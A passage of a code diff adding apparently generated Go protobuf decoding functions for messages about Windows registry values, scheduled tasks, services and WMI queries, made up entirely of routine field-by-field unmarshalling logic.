byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ByteValue = dAtA[iNdEx:postIndex] + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field DwordValue", wireType) + } + m.DwordValue = 0 + m.DwordValue, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 8: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field QwordValue", wireType) + } + m.QwordValue = 0 + m.QwordValue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 10: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Regtype", wireType) + } + m.Regtype = 0 + m.Regtype, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskScheduleRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskScheduleRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskScheduleRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Taskschd", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Taskschd == nil { + m.Taskschd = &TaskSchedule{} + } + if err := m.Taskschd.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedule) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedule: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedule: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Path", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Path = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ExecutablePath = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field TriggerType", wireType) + } + m.TriggerType = 0 + m.TriggerType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StartBoundary", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.StartBoundary = stringValue + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Description", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Description = stringValue + iNdEx = postIndex + case 7: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enabled", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enabled = bool(v != 0) + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LastRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.LastRunTime = stringValue + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field NextRunTime", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.NextRunTime = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *TaskSchedulesResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: TaskSchedulesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: TaskSchedulesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Schedules", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Schedules = append(m.Schedules, &TaskSchedule{}) + if err := m.Schedules[len(m.Schedules)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Type = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Service", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Service == nil { + m.Service = &ServiceConfig{} + } + if err := m.Service.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceConfig) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceConfig: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceConfig: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Name = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field DisplayName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.DisplayName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ExecutablePath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ExecutablePath = stringValue + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field StartType", wireType) + } + m.StartType = 0 + m.StartType, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ErrorControl", wireType) + } + m.ErrorControl = 0 + m.ErrorControl, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field AccountName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.AccountName = stringValue + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServiceStatus) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServiceStatus: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServiceStatus: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field CurrentState", wireType) + } + m.CurrentState = 0 + m.CurrentState, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ProcessId", wireType) + } + m.ProcessId = 0 + m.ProcessId, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ExitCode", wireType) + } + m.ExitCode = 0 + m.ExitCode, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Checkpoint", wireType) + } + m.Checkpoint = 0 + m.Checkpoint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field WaitHint", wireType) + } + m.WaitHint = 0 + m.WaitHint, iNdEx, err = protobuf_go_lite.DecodeVarintUint32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Service) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Service: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Service: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Config", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Config == nil { + m.Config = &ServiceConfig{} + } + if err := m.Config.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Status", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Status == nil { + m.Status = &ServiceStatus{} + } + if err := m.Status.UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ServicesResponse) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ServicesResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ServicesResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Services", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Services = append(m.Services, &Service{}) + if err := m.Services[len(m.Services)-1].UnmarshalVTUnsafe(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiQueryRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiQueryRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiQueryRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Namespace = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Args = append(m.Args, stringValue) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *WmiMethodRequest) UnmarshalVTUnsafe(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: WmiMethodRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: WmiMethodRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Namespace", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.Namespace = stringValue + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ClassName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.ClassName = stringValue + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field MethodName", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + var stringValue string + if intStringLen > 0 { + stringValue = unsafe.String(&dAtA[iNdEx], intStringLen) + } + m.MethodName = stringValue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := 